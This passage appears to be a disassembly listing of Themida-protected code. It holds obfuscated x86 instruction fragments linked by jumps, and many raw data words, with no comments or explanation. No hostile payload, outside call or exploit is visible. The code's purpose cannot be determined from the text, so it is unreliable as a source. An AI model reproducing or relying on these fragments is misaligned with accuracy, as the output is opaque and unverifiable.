		dd 0F7000000h, 583B68D0h, 34890000h, 31856824h,	0E95E3C00h
		dd 0FFFF190Dh, 8704C283h, 76E92414h, 2DFFFF66h,	703B1BD3h
		dd 0D305E829h, 0E9703B1Bh, 0FFFF11F9h, 0B850DBF7h, 52D94887h
		dd 0EADBB035h, 58C301D4h, 295BD801h, 0EE8158C6h, 0AD6A04DAh
		dd 34FFF129h, 6864E924h, 34FFFFFFh, 0EC815824h,	4, 89241C89h
		dd 4C381E3h, 81000000h,	4C3h, 74FF5300h, 1C8B0424h, 0CC1DE924h
		dd 0D2F7FFFFh, 8106EAC1h, 0F13324CAh, 0C0EA817Dh, 8136EF5Eh
		dd 520BB4E2h, 43EBE941h, 47680000h, 0E9000008h,	0FFFF6C7Dh
		dd 0EA80CAB2h, 6A2CA0h,	0F592E9D0h, 6E68FFFEh, 0E9000067h
		dd 0FFFF2A76h, 2DF7E956h, 0E95BFFFFh, 0FFFF5585h
; ---------------------------------------------------------------------------


loc_572340:				; CODE XREF: Themida_:00575997j
		mov	cl, bl
		mov	al, cl
		pop	ecx
		jmp	loc_5769A7
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 0FFFF3B34h
; ---------------------------------------------------------------------------


loc_572350:				; CODE XREF: Themida_:0056A991j
		push	ecx
		mov	ecx, 77D607E5h
		dec	ecx
		push	ebp
		jmp	loc_5708CE
; ---------------------------------------------------------------------------
		db 68h,	2 dup(0)
		dd 2C290000h, 37E95D24h, 81FFFFC1h, 695338C3h, 8BD989B7h
		dd 0C483241Ch, 0A9D2D04h, 0C8290669h, 690A9D05h, 2434FF06h
		dd 0E1895159h, 4C181h, 0E9810000h, 4, 0E9240C87h, 0FFFF5A27h
		dd 8924248Bh, 97E9240Ch, 68FFFEECh, 11B1h, 53241C89h, 0FF5D2FE9h
		dd 8BDD89FFh, 768241Ch,	89000000h, 0E0892404h, 405h, 4C08300h
		dd 3B41E9h, 48B6600h, 0E9565524h, 24Eh,	15DEE29h, 4EBD55FEh
		dd 81053F29h, 186A34EDh, 90CD817Ch, 810C9052h, 0CA7C98EDh
		dd 0DAE94D39h, 66FFFF9Eh, 4BE9F829h, 2DFFFF73h,	4, 378AE9h
		dd 24048900h, 0FF37EBE9h, 81E189FFh, 4C1h, 4C18100h, 87000000h
		dd 248B240Ch, 0EC0CE924h, 431FFFEh, 24043324h, 242C895Ch
		dd 6F1068h, 0E058E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57244A:				; CODE XREF: Themida_:00562899j
		push	edx
		mov	edx, 2DC22D29h
		add	[esp+4], edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	esi
		jmp	loc_563E95
; ---------------------------------------------------------------------------


loc_572461:				; CODE XREF: Themida_:0057454Dj
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		sub	edx, 27023B98h
		add	edx, esi
		push	ebp
		mov	ebp, 27023B98h
		add	edx, ebp
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		push	edx
		mov	edx, 72281Eh
		jmp	loc_5691EE
; ---------------------------------------------------------------------------
		dw 8BB1h
		dd 0CB303FB3h, 8BDE8859h, 0C483241Ch, 50CEFE04h, 0FFD7D5E9h
		dd 16E954FFh, 8900003Fh, 0B6E92424h, 55FFFF26h,	4F68E4BDh
		dd 0FFED8323h, 7AE5814Dh, 810D283Fh, 53F889EDh,	8BEA297Ch
		dd 0C481242Ch, 4, 47E9D389h, 29FFFF8Fh,	0F9BF57D0h, 0E9472B65h
		dd 0FFFFD8F5h, 4C481h, 12680000h, 8900001Ah, 0A3E92414h
		dd 81FFFEF5h, 4C5h, 4ED8100h, 0E9000000h, 0FFFFE35Eh, 240C8B66h
		dd 8904EC83h, 0E954240Ch, 0FFFF6849h, 81CF2958h, 0F94AA3EFh
		dd 0ECC78100h, 0E901F07Ch, 0FFFEF1BBh, 240C8B66h, 537068h
		dd 6F70E900h, 1C8BFFFFh, 1FE95124h, 83FFFF6Dh, 4AE901EBh
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_572553:				; CODE XREF: Themida_:00566336j
		sub	ah, 76h
		shr	ah, 3
		push	bx
		jmp	loc_572CC1
; ---------------------------------------------------------------------------
		dd 0EB368ABBh, 0F1E6E975h, 0C601FFFFh, 14B1C681h, 0EE811FF1h
		dd 78242E83h, 8124048Bh, 4C4h, 28BD5500h, 816D235Fh, 840E97F5h
		dd 0E4ED816Ah, 29206165h, 242C8BEEh, 0FF11F5E9h, 0C8B66FFh
		dd 58685224h, 89000003h, 4812424h, 424h, 0C2815A00h, 4
		dd 5204EA83h, 42474FFh,	0FF2AE9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5725C5:				; CODE XREF: Themida_:00562029j
		xchg	edx, ebx
		push	ebp
		mov	ebp, 338C218Bh
		sub	ebp, 0B388BA6Ch
		jmp	loc_56842E
; ---------------------------------------------------------------------------


loc_5725D8:				; CODE XREF: Themida_:0056E773j
		mov	esp, [esp]
		jmp	loc_56D66E
; ---------------------------------------------------------------------------


loc_5725E0:				; CODE XREF: Themida_:0056C0A3j
		push	esp
		jmp	loc_56C256
; ---------------------------------------------------------------------------


loc_5725E6:				; CODE XREF: Themida_:0056862Dj
		pop	ecx
		add	esp, 4
		jmp	loc_5620AD
; ---------------------------------------------------------------------------
		db 68h
		dd 6F48h, 52241C89h, 76E95A54h,	5DFFFF91h, 0C15BDA89h
		dd 0E94208E2h, 0FFFFC268h
; ---------------------------------------------------------------------------


loc_57260C:				; CODE XREF: Themida_:00562719j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_568715
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 47E95824h, 81FFFF8Eh, 4C1h, 0DC13E900h, 5E54FFFFh, 0FF83FEE9h
		dd 0FFFFBFFFh, 0FB01FFFFh, 8EBC15Fh, 83E9504Bh
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_572647:				; CODE XREF: Themida_:0056EA04j
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_5614D5
; ---------------------------------------------------------------------------


loc_572658:				; CODE XREF: Themida_:0056C610j
		pop	esi
		shr	esi, 4
		add	esi, 444D45AFh
		sub	esi, 0F9897248h
		push	esi
		mov	ebx, [esp]
		add	esp, 4
		pop	esi
		or	ebx, 414F5AB1h
		push	1335h
		mov	[esp], esi
		mov	esi, 58E73F34h
		jmp	loc_569675
; ---------------------------------------------------------------------------


loc_57268B:				; CODE XREF: Themida_:005685EBj
		neg	edi
		jmp	loc_562473
; ---------------------------------------------------------------------------
		dw 53BFh
		dd 0E9065D7Dh, 0FFFEFAFFh
; ---------------------------------------------------------------------------


loc_57269C:				; CODE XREF: Themida_:0057539Bj
		sub	esi, ecx
		pop	ecx
		sub	esi, 3285573Ah
		jmp	loc_56F5A0
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 12717E17h, 34E9F701h, 83FFFF12h, 0BA5204C4h,	4, 6C63C781h
		dd 0C7814BECh, 448420D5h, 0BD55D701h, 448420D5h, 0E95DEF29h
		dd 0FFFF720Ah, 815FFA01h, 4C2h,	24148700h, 5FE1815Ch, 57262A07h
		dd 0FB968h, 242C8900h, 0ED739ABDh, 45DDF74Dh, 739AC581h
		dd 0EF894DEDh, 8BF9015Dh, 0C483243Ch, 0D5E18104h, 535FA26Ah
		dd 6EB8B850h, 0C3896517h, 8BD93158h, 0C483241Ch, 59CF8904h
		dd 34FFF831h, 60E95F24h, 59000035h, 30CDE952h, 0D020FFFFh
		dd 8324148Bh, 0BD3404C4h, 2858C700h, 0B81FE9F8h, 0EE81FFFFh
		dd 1A1E1D68h, 0C8E9DE29h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_57275F:				; CODE XREF: Themida_:0057356Ej
		pop	ebp
		jmp	loc_574497
; ---------------------------------------------------------------------------
aMh		db 'MhÄ]',0
		dw 8900h
		dd 1BB9240Ch, 3147056Ah, 0EC8359CDh, 24348904h,	6072EABEh
		dd 54C68107h, 502EF76Ch, 0D57355B8h, 84A250Dh, 0B2E95A8Dh
		dd 81FFFFECh, 4ECh, 24148900h, 1E68E289h, 89000039h, 8353243Ch
		dd 148904ECh, 7E716824h, 0F75A3D57h, 0CBEA81D2h, 89788D69h
		dd 7AC0E9D3h, 1489FFFFh, 0E99C5024h, 0FFFEE872h, 47BC68h
		dd 48F5400h, 24048124h,	4, 0FF5373E9h, 31F531FFh, 14F755EEh
		dd 0EE315D24h, 0EE31F531h, 743DC681h, 0E6C132DDh, 4C68108h
		dd 0E992C4C9h, 0FFFF5E40h, 5CE9F801h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57280F:				; CODE XREF: Themida_:005648E7j
		mov	[esp], ebx
		jmp	loc_56813F
; ---------------------------------------------------------------------------
		db 8Fh
		dd 9EE92404h, 59FFFF9Eh, 0FEE966E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572825:				; CODE XREF: Themida_:00573766j
		inc	edx
		xor	edx, 0A14257AEh
		add	[esp+8], edx
		pop	edx
		jmp	loc_5624FA
; ---------------------------------------------------------------------------
		dw 0CAFEh
		dd 0E946F280h, 0FFFFE9F1h, 81EA0158h, 0B50D43EAh, 0E0E95D1Fh
		db 9, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_57284F:				; CODE XREF: Themida_:00569DDBj
		inc	edi
		shr	edi, 5
		add	edi, 4F4BFF48h
		add	eax, edi
		pop	edi
		xor	eax, 185E26A9h
		sub	edx, 51DC339Dh
		add	edx, eax
		jmp	loc_573412
; ---------------------------------------------------------------------------
		dw 15Ch
aHmg		db 'Âh¬g',0
		align 2
		dw 3C89h
		dd 15CFBF24h, 63E95C74h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572883:				; CODE XREF: Themida_:00574AECj
					; DATA XREF: ___:0043F6F9o
		shr	eax, 7
		shl	eax, 7
		xor	eax, 3C9E9ADAh
		xor	ecx, eax
		pop	eax
		add	ebx, ecx
		pop	ecx
		push	edi
		push	eax
		mov	eax, 17CC670Dh
		jmp	loc_561FFD
; ---------------------------------------------------------------------------


loc_5728A0:				; CODE XREF: Themida_:0056FC25j
		add	esi, 28D90F32h
		mov	edx, esi
		pop	esi
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_567B76
; ---------------------------------------------------------------------------


loc_5728B9:				; CODE XREF: Themida_:0057627Aj
		push	edx
		mov	edx, 5CBC28F5h
		neg	edx
		xor	edx, 0DB301AEh
		jmp	loc_573760
; ---------------------------------------------------------------------------
		dd 0E95FFA01h, 0FFFFF959h, 4C381h, 0C3830000h, 241C8704h
		dd 4FF535Ch, 0D3F75B24h, 0FF9E7AE9h, 55D3F7FFh,	0A11A4EBDh
		dd 5DEB3104h, 726E68h, 0B163E900h, 0E3C1FFFFh, 35C38107h
		dd 0E9769955h, 0FFFF7C28h, 0C181E189h, 4, 4E981h, 0C870000h
		dd 0C895C24h, 8094B524h, 0E6E9C0F5h, 5F00001Bh,	7FAFE981h
		dd 0F1017C9Dh, 7FAFC181h, 0E9817C9Dh, 3813510Dh, 5E2434FFh
		dd 4C481h, 88E90000h, 11h, 0BFB050F3h, 6D0C4604h, 0F72C3524h
		dd 48BC300h, 4C48324h, 1B0505Ah, 0C004E0C0h, 2E906E8h
		dd 0B8FFFFA4h, 2C910376h, 0F75AD001h, 363B25D8h, 0BA52623Eh
		dd 70AB05D0h, 5966F281h, 0E2817F06h, 14B403B9h,	0FFF959E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57299D:				; CODE XREF: Themida_:00563083j
		mov	eax, 41AD1CE1h
		push	ebx
		jmp	loc_566D00
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFFCC16h
; ---------------------------------------------------------------------------


loc_5729B0:				; CODE XREF: Themida_:0056B3D9j
		xchg	edx, [esp]
		pop	esp
		push	7C08h
		mov	[esp], ebx
		jmp	loc_571B51
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 47E95524h, 0C1FFFEF7h, 0F18107E9h, 3F643FA3h, 0FF70F181h
		dd 0CB017967h, 1C335859h, 241C3124h, 8B241C33h,	34FF2424h
		dd 2434FF24h, 4C48359h,	0E904EC83h, 0FFFFF6FBh,	0ED81D501h
		dd 362E49BFh, 3AE5815Ah, 551CF81Bh, 5D2414F7h, 0E8E1ED81h
		dd 0C781FB07h, 22FE1701h, 13DCE9h, 16B5BE00h, 4A05116Ah
		dd 0E926C642h, 283Fh, 8904EC83h, 23BB241Ch, 29AC4AC4h
		dd 0FA015BDFh, 4C2835Fh, 0FFB001E9h, 752C5AFFh,	36C6E953h
		dd 481FFFFh, 424h, 0C1815900h, 4, 4E981h, 0C870000h, 34895C24h
		dd 1366BE24h, 0E94657C5h, 0FFFFCC40h, 240C8B5Fh, 3104C483h
		dd 5F04247Ch, 3BD555Ah,	81241535h, 583A82EDh, 9963E978h
		dd 248BFFFFh, 0C896624h, 0E9C1B124h, 0FFFF9C24h, 5C241C87h
		dd 1296BA52h, 0D72907F9h, 81CF015Ah, 0F91296C7h, 76685907h
		dd 89000050h, 6857240Ch, 2, 5FF9895Fh, 7CECEF81h, 545501F0h
		dd 4C5815Dh, 0E9000000h, 0FFFFBD67h
; ---------------------------------------------------------------------------


loc_572AE0:				; CODE XREF: Themida_:00568A6Fj
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5667F6
; ---------------------------------------------------------------------------
		dw 0D089h
		dd 5024148Bh, 405E089h,	83000000h, 48704C0h, 0FD355C24h
		dd 8110C955h, 4F586AE9h, 77C1815Bh, 1352862h, 65A3E9C1h
		dd 0E95DFFFFh, 0FFFFBAD1h, 0FE1DE95Fh, 4D3FFFEh, 0EDE99C24h
		dd 81FFFEFEh, 4ECh, 24148900h, 0C281E289h, 4, 4B850h, 0EA810000h
		dd 69BD401Dh, 0FF9D5BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572B55:				; CODE XREF: Themida_:00566AEBj
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 1
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	20F8h
		jmp	loc_57483E
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 243C8904h, 0FFEC15E9h, 31DF31FFh, 0E9D7F7FBh, 0FFFF32FAh
		dd 42474FFh, 24048F5Ah,	0FFEA835Ah, 30AFE951h, 6658FFFFh
		dd 2879B252h, 525A66D3h, 0D3283BB2h, 0D69FE95Ah, 0BE56FFFFh
		dd 7962C02Ch, 0DB698F05h, 78C02D03h, 48E959EDh
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572BCB:				; CODE XREF: Themida_:00566EAFj
		push	dword ptr [esp]
		pop	edx
		push	5459h
		mov	[esp], ebx
		jmp	loc_5631F7
; ---------------------------------------------------------------------------
		dd 34FF5A57h, 61E95F24h, 0FF00000Bh, 34FF2434h,	0ECE95824h
		dd 81FFFEFFh, 893692E5h, 0F75FE949h, 815AFFFFh,	4C4h, 0E9F23100h
		dd 128Dh, 0EB81FB01h, 777B1F90h, 47FF685Fh, 0C890000h
		dd 2B924h, 0EB810000h, 0B6D14A4h, 1E7BEB81h, 0CB01422Ch
		dd 61AEB850h, 260536BEh, 3518874Dh, 0D69B0AFh, 0C5E9C301h
		db 16h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572C47:				; CODE XREF: Themida_:00572162j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		jmp	loc_56B1F6
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0E0892404h, 405h, 4EC8100h, 0E9000000h, 0FFFF419Ch
; ---------------------------------------------------------------------------


loc_572C70:				; CODE XREF: Themida_:0056E122j
		xor	esi, 4E0B0761h
		shr	esi, 1
		push	eax
		mov	eax, 7BEB2766h
		jmp	loc_567983
; ---------------------------------------------------------------------------


loc_572C83:				; CODE XREF: Themida_:0056273Cj
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_561042
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 2Ch
		dd 0EB805A66h, 452FE9C7h, 0F581FFFFh, 5D3829C7h, 0FFA17AE9h
		dd 53D8BEFFh, 0CE812460h, 9776CACh, 0FFDEAAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572CB9:				; CODE XREF: Themida_:0056F138j
		push	edx
		mov	edx, esp
		jmp	loc_56691B
; ---------------------------------------------------------------------------


loc_572CC1:				; CODE XREF: Themida_:0057255Bj
		mov	bl, 9
		jmp	loc_563544
; ---------------------------------------------------------------------------


loc_572CC8:				; CODE XREF: Themida_:0056D7DCj
		mov	[esp], edi
		push	ecx
		jmp	loc_576923
; ---------------------------------------------------------------------------


loc_572CD1:				; CODE XREF: Themida_:00573795j
		xchg	edx, [esp]
		jmp	loc_56BB2B
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 8Dh
		dd 0E920A912h, 1A2Ah, 8EAC14Ah,	6E2CEA81h, 0BA52003Bh
		dd 56ED6456h, 0E907E2C1h, 0FFFF61B9h, 0EC8044B4h, 72E480DFh
		dd 0C0F8EC80h, 0EC8003E4h, 78C4805Bh, 5158E300h, 0DDF6CEB5h
		dd 0F580D5F6h, 59EB0060h, 0EB80C328h, 5DEB80ADh, 0FFC1F6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572D2D:				; CODE XREF: Themida_:005714E2j
		sub	edx, 0C0E76873h
		sub	ebx, edx
		mov	edx, [esp]
		jmp	loc_56B1C2
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 7Ah
		dd 812DEF7Dh, 0DFE414C7h, 0E9FB0109h, 0FFFFF47Dh, 33241C31h
		dd 0E95C241Ch, 0FFFFDA35h, 0A392E958h, 1C89FFFFh, 0E9E38924h
		dd 0FFFF601Bh
; ---------------------------------------------------------------------------


loc_572D6C:				; CODE XREF: Themida_:005669CEj
		mov	esi, 46A30E42h
		jmp	loc_5616BD
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 19589D1Ch, 0E99C2404h, 2983h, 4C481h, 0EE810000h, 3E3F52ECh
		dd 4E03E6C1h, 46EEBF57h, 0E1E97234h, 66FFFFA0h,	6824048Bh
		dd 2BCh, 68240C89h, 3D07h, 24048F54h, 81EFE953h, 0EA81FFFFh
		dd 850F38A9h, 295AD029h, 7A12E9F0h, 665DFFFFh, 6607E3C1h
		dd 90EAC381h, 0FF2813E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572DD9:				; CODE XREF: Themida_:00568E25j
		add	ebx, 0A1162A58h
		add	esi, ebx
		pop	ebx
		sub	edi, 40F266AEh
		sub	edi, esi
		add	edi, 40F266AEh
		pop	esi
		jmp	loc_570D78
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 0FFFFFFFFh, 8104E5C1h, 0BF44F7F5h, 1535E918h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_572E0A:				; CODE XREF: Themida_:00573F5Cj
		mov	ecx, 1FB02B85h
		add	ecx, 0F62193D0h
		mov	ebp, ecx
		pop	ecx
		sub	esi, 40D44573h
		sub	esi, ebp
		jmp	loc_575B94
; ---------------------------------------------------------------------------
		db 0BBh, 7Ch, 4
		dd 0E94324F7h, 0FFFEFFE1h
; ---------------------------------------------------------------------------


loc_572E30:				; CODE XREF: Themida_:005667FAj
		push	6069h
		mov	[esp], edx
		jmp	loc_56F12E
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0E1h
		dd 812D4276h, 2A2FCDF3h, 3116E95Ch, 2C870000h, 0C895C24h
		dd 447C6824h, 6859204Bh, 51B5h,	0FF240C89h, 5559240Ch
		dd 0F0560CBDh, 8E5C10Ch, 0FF0AC3E9h, 2CEF80FFh,	1C8BF800h
		dd 0E7A7E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_572E82:				; CODE XREF: Themida_:0056B563j
		sub	bl, al
		jmp	loc_56EBA5
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 1Eh
		dd 5B409237h, 74646856h, 0E95E41A7h, 0FFFF4EDFh, 4BDh
		dd 0E9E80100h, 0FFFFFC76h, 5E1C15Ah, 0FF7AE5E9h, 4BD55FFh
		dd 0E9000000h, 0FFFF3CFCh
; ---------------------------------------------------------------------------


loc_572EBC:				; CODE XREF: Themida_:00573E94j
		pop	esp
		push	1Fh
		mov	[esp], ecx
		mov	ecx, 23480A40h
		add	ebx, ecx
		pop	ecx
		add	ebx, 6C162DF3h
		jmp	loc_56F338
; ---------------------------------------------------------------------------


loc_572ED8:				; CODE XREF: Themida_:0056843Fj
		mov	[esp], eax
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_56D25B
; ---------------------------------------------------------------------------
		dw 0D968h
		dd 89000068h, 4BF243Ch,	0E9000000h, 0FFFFA432h,	51241C89h
		dd 2B9h, 0F79BE900h, 74FFFFFEh,	348B0424h, 4C48324h, 8B24048Fh
		dd 34FF2424h, 240C8B24h, 4C481h, 59E90000h, 81FFFEE2h
		dd 1E1D68C6h, 2434FF1Ah, 175B685Bh, 0E6E90000h,	8BFFFFD0h
		dd 0E5E92414h, 87FFFF4Fh, 0E95C2404h, 0FFFF5282h
; ---------------------------------------------------------------------------


loc_572F4C:				; CODE XREF: Themida_:0057640Fj
		mov	ecx, edx
		pop	edx
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	esi, 9ACA8Ah
		mov	ebx, esi
		pop	esi
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		push	edx
		mov	edx, 0
		push	ebp
		mov	ebp, 59A678D8h
		sub	edx, ebp
		jmp	loc_561DC7
; ---------------------------------------------------------------------------


loc_572F7B:				; CODE XREF: Themida_:0056F7A7j
		inc	cl
		jmp	loc_56AADB
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 4812424h, 424h, 51565800h, 0FF6E89E9h, 0DCBD55FFh, 8122DB4Eh
		dd 141671E5h, 6EDC141h,	137CD81h, 0C5813099h, 4E673F09h
		dd 0DA6AC581h, 0EB01DF07h, 0E3E9505Dh, 89FFFFD9h, 7AB02404h
		dd 0C30024B3h, 5BD92858h, 10C0E9h, 5D5B5500h, 0FF8AD1E9h
		dd 2C5B66FFh, 0C3B1E92Ah, 0D3F7FFFFh, 0BB53DF87h, 5028736Fh
		dd 5A23F381h, 0A5E977DEh, 5EFFFF36h, 0BF57F001h, 1D775794h
		dd 0C0E9F829h, 5DFFFF8Dh, 635868h, 241C8900h, 42474FFh
		dd 24048F5Bh, 0F24248Bh, 0EC81C8B7h, 4,	0E9241489h, 0FFFF4A7Eh
; ---------------------------------------------------------------------------


loc_57302C:				; CODE XREF: Themida_:0056C992j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56C546
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0E9830000h, 240C8704h, 0FF609DE9h, 8BEC88FFh
		dd 0C483240Ch, 241C8B04h, 4C481h, 0E7200000h, 24048B66h
		dd 0FE02C483h, 42B652C7h, 2F2DE9h, 0C4835D00h, 4EC8104h
		dd 89000000h, 8B542434h, 0C4832434h, 7ABE904h, 4050000h
		dd 2D000000h, 4, 5C240487h, 57241C89h, 0C781E789h, 4, 8704EF83h
		dd 895C243Ch, 4832424h,	8BE90424h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5730B7:				; CODE XREF: Themida_:00570403j
		add	edx, edi
		jmp	loc_56F94C
; ---------------------------------------------------------------------------
		dw 0CD2Dh
		dd 139C125h, 25CD05D8h,	34FF39C1h, 241C8B24h, 4C481h, 54550000h
		dd 29BA525Dh, 810DC56Bh, 1A44D6C2h, 0DE95546h, 58FFFEF0h
		dd 0E418A405h, 11EAE96Dh, 0EEC10000h, 6EEC107h,	0FF12DAE9h
		dd 0C1815CFFh, 4, 0FF8CC8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57310D:				; CODE XREF: Themida_:0056D8F1j
		pop	ebx
		shr	eax, 0Bh
		xor	ecx, eax
		push	ecx
		jmp	loc_575A3F
; ---------------------------------------------------------------------------
		db 29h,	7Ch, 24h
		dd 0E685608h, 5E01B24Dh, 0C247429h, 5E2434FFh, 4C481h
		dd 0E95F0000h, 0FFFF74A1h, 68FFC283h, 2DFEh, 52242C89h
		dd 0D2B2FB68h, 0D5895A9Dh, 8324148Bh, 0EA2904C4h, 0FF5EA3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573159:				; CODE XREF: Themida_:0056F333j
		add	ebp, ecx
		push	edx
		mov	edx, 34F87050h
		jmp	loc_56ABF9
; ---------------------------------------------------------------------------
		dw 0CE89h
		dd 83C68159h, 5278242Eh, 0F114B1BAh, 5AD6291Fh,	0FFF3EDE9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_563AF8
; ---------------------------------------------------------------------------
		db 8Bh
		dd 5451240Ch, 351AE959h, 0D931FFFFh, 81241C8Bh,	4C4h, 59C82900h
		dd 16F5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5731A9:				; CODE XREF: Themida_:0056D4F6j
		mov	esi, ebx
		pop	ebx
		sub	eax, 10BD1940h
		sub	eax, 33E034FCh
		sub	eax, esi
		add	eax, 33E034FCh
		add	eax, 10BD1940h
		jmp	loc_5758D3
; ---------------------------------------------------------------------------


loc_5731C7:				; CODE XREF: Themida_:00567405j
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_56A28C
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 3Ch
		dd 0FFFA02E9h, 59CE31FFh, 0FFD5ADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5731ED:				; CODE XREF: Themida_:00570DEFj
		shr	eax, 8
		jmp	loc_576017
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 6E22EA81h, 10E9D8ECh, 52000007h, 0EC8327B6h,	240C8904h
		dd 8FE9A2B1h, 58FFFF26h, 0FF0568E9h, 32E981FFh,	2917DA4Bh
		dd 0D78959CAh, 4E83BE5Ah, 0FE2904DAh, 83243C8Bh, 586804C4h
		dd 8900006Dh, 0BA522434h, 4A34074Ch, 0DCDCA81h,	34E93C58h
		db 14h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57324B:				; CODE XREF: Themida_:0056CD53j
		sub	ebp, 1BE25700h
		add	ebp, edi
		add	ebp, 1BE25700h
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		jmp	loc_574CA2
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 8ECBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573272:				; CODE XREF: Themida_:00562D29j
		add	ebp, 6F9F2FCEh
		add	ebp, edi
		sub	ebp, 6F9F2FCEh
		pop	edi
		add	ebp, 4
		jmp	loc_56A495
; ---------------------------------------------------------------------------
		dd 6E69C3BEh, 0C1D6F71Ah, 0D6F705EEh, 0FF1ABCE9h, 8EBC1FFh
		dd 4FF4C381h, 36E936F2h, 0C1FFFFD2h, 814F07E7h,	2A2923C7h
		dd 5FFE8913h, 4E17342Dh, 0E9F00130h, 0FFFEE5BFh, 13CEB81h
		dd 0F3817A63h, 5E4D396Dh, 0BFBF5743h, 0E992EEBCh, 0FFFFB3D7h
; ---------------------------------------------------------------------------


loc_5732DC:				; CODE XREF: Themida_:005767F8j
		xor	ebx, 0EED9DFC0h
		mov	edx, ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_569D80
; ---------------------------------------------------------------------------


loc_5732F5:				; CODE XREF: Themida_:00569AB2j
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5617B1
; ---------------------------------------------------------------------------
		dw 3487h
		dd 24248B24h, 24042166h, 21B8E99Ch, 8150FFFFh, 4ECh, 24248900h
		dd 4240481h, 0FF000000h, 48B2434h, 4C48124h, 56000000h
		dd 0C681E689h, 4, 0FFC51DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57333D:				; CODE XREF: Themida_:00564307j
		pop	ebp
		neg	edi
		sub	edi, 61DF3630h
		inc	edi
		neg	edi
		and	edi, 40DF4BCAh
		jmp	loc_5671F3
; ---------------------------------------------------------------------------
		dd 243C3366h, 243C3166h, 31665766h, 99E9242Ch, 5CFFFF9Ah
		dd 0FF5554E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57336D:				; CODE XREF: Themida_:0056277Bj
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_573801
		push	eax
		jmp	loc_56F4E7
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 48E92434h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_57338F:				; CODE XREF: Themida_:005690BCj
		push	edi
		mov	edi, esp
		jmp	$+5
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_5755AF
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h, 0FEDC85E9h, 61EE80FFh, 80CCC680h, 0EE007DEEh
		dd 0E97DC680h, 0FFFFDAFFh, 6EA3B951h, 0D1F7212Dh, 1339C181h
